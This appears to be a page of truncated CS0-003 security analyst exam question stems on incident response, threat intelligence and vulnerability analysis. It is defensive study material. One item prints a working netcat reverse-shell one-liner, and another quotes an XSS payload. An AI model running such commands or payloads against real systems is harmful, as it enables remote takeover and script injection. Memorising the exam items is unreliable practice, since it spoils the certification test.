CS0-003 Exam Questions

An analyst discovers unusual outbound connections to an IP that was previously blocked at the web proxy and firewall. Upon further investigation, it appears that the proxy and fire...

An organization's email account was compromised by a bad actor. Given the following information: Which of the following is the length of time the team took to detect the threat?

A threat hunter seeks to identify new persistence mechanisms installed in an organization's environment. In collecting scheduled tasks from all enterprise workstations, the followi...

A SOC analyst is analyzing traffic on a network and notices an unauthorized scan. Which of the following types of activities is being observed?

SIMULATION Welcome to the Enterprise Help Desk System. Please work the ticket escalated to you in the help desk ticket queue. INSTRUCTIONS Click on the ticket to see the ticket det...

SIMULATION A company recently experienced a security incident. The security team has determined a user clicked on a link embedded in a phishing email that was sent to the entire co...

An analyst reviews a recent government alert on new zero-day threats and finds the following CVE metrics for the most critical of the vulnerabilities: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/...

A security analyst detects an email server that had been compromised in the internal network. Users have been reporting strange messages in their email inboxes and unusual network...

A SIEM alert is triggered based on execution of a suspicious one-liner on two workstations in the organization's environment. An analyst views the details of these events below: Wh...

When investigating a potentially compromised host, an analyst observes that the process BGInfo.exe (PID 1024), a Sysinternals tool used to create desktop backgrounds containing hos...

Which of the following evidence collection methods is most likely to be acceptable in court cases?

A cybersecurity analyst has recovered a recently compromised server to its previous state. Which of the following should the analyst perform next?

While performing a dynamic analysis of a malicious file, a security analyst notices the memory address changes every time the process runs. Which of the following controls is most...

A company brings in a consultant to make improvements to its website. After the consultant leaves. a web developer notices unusual activity on the website and submits a suspicious...

Which of the following makes STIX and OpenloC information readable by both humans and machines?

An analyst is evaluating the following vulnerability report: Which of the following vulnerability report sections provides information about the level of impact on data confidentia...

Which of the following best describes the importance of implementing TAXII as part of a threat intelligence program?

During a recent site survey. an analyst discovered a rogue wireless access point on the network. Which of the following actions should be taken first to protect the network while p...

While a security analyst for an organization was reviewing logs from web servers. the analyst found several successful attempts to downgrade HTTPS sessions to use cipher modes of o...

An analyst views the following log entries: The organization has a partner vendor with hosts in the 216.122.5.x range. This partner vendor is required to have access to monthly rep...

An analyst is conducting monitoring against an authorized team that win perform adversarial techniques. The analyst interacts with the team twice per day to set the stage for the t...

The Chief Executive Officer (CEO) has notified that a confidential trade secret has been compromised. Which of the following communication plans should the CEO initiate?

During an incident, analysts need to rapidly investigate by the investigation and leadership teams. Which of the following best describes how PII should be safeguarded during an in...

A security analyst is reviewing the logs of a web server and notices that an attacker has attempted to exploit a SQL injection vulnerability. Which of the following tools can the a...

Which Of the following techniques would be best to provide the necessary assurance for embedded software that drives centrifugal pumps at a power Plant?

A security team identified several rogue Wi-Fi access points during the most recent network scan. The network scans occur once per quarter. Which of the following controls would be...

An analyst needs to provide recommendations based on a recent vulnerability scan: Which of the following should the analyst recommend addressing to ensure potential vulnerabilities...

A security analyst recently used Arachni to perform a vulnerability assessment of a newly developed web application. The analyst is concerned about the following output: [+] XSS: I...

A security analyst found the following vulnerability on the company's website: <INPUT TYPE="IMAGE" SRC="javascript:alert(`test');"> Which of the following should be implemented to...

A disgruntled open-source developer has decided to sabotage a code repository with a logic bomb that will act as a wiper. Which of the following parts of the Cyber Kill Chain does...

A security analyst detected the following suspicious activity: rm -f /tmp/f;mknod /tmp/f p;cat /tmp/f|/bin/sh -i 2>&1|nc 10.0.0.1 1234 > tmp/f Which of the following most likely de...

After updating the email client to the latest patch, only about 15% of the workforce is able to use email. Windows 10 users do not experience issues, but Windows 11 users have cons...

A vulnerability scan of a web server that is exposed to the internet was recently completed. A security analyst is reviewing the resulting vector strings: Which of the following vu...

Which of the following most accurately describes the Cyber Kill Chain methodology?

Which of the following is a benefit of the Diamond Model of Intrusion Analysis?

Which of the following is the most important reason for an incident response team to develop a formal incident declaration?

A security manager is looking at a third-party vulnerability metric (SMITTEN) to improve upon the company's current method that relies on CVSSv3. Given the following: Which of the...

Due to an incident involving company devices, an incident responder needs to take a mobile phone to the lab for further investigation. Which of the following tools should be used t...

An analyst is suddenly unable to enrich data from the firewall. However, the other open intelligence feeds continue to work. Which of the following is the most likely reason the fi...

A security analyst noticed the following entry on a web server log: Connection refused in /hj/var/www/showimage.php on line 7 Which of the following malicious activities was most l...

A security analyst is reviewing events that occurred during a possible compromise. The analyst obtains the following log: Which of the following is most likely occurring, based on...

AXSS vulnerability was reported on one of the non-sensitive/non-mission-critical public websites of a company. The security department confirmed the finding and needs to provide a...

An organization has tracked several incidents that are listed in the following table: Which of the following is the organization's MTTD?

During an internal code review, software called "ACE" was discovered to have a vulnerability that allows the execution of arbitrary code. The vulnerability is in a legacy, third-pa...

Which of the following entities should an incident manager work with to ensure correct processes are adhered to when communicating incident reporting to the general public, as a be...

A security analyst reviews the following results of a Nikto scan: Which of the following should the security administrator investigate next?

Each time a vulnerability assessment team shares the regular report with other teams, inconsistencies regarding versions and patches in the existing infrastructure are discovered....

A security analyst has found a moderate-risk item in an organization's point-of-sale application. The organization is currently in a change freeze window and has decided that the r...

An organization is conducting a pilot deployment of an e-commerce application. The application's source code is not available. Which of the following strategies should an analyst r...

An attacker recently gained unauthorized access to a financial institution's database, which contains confidential information. The attacker exfiltrated a large amount of data befo...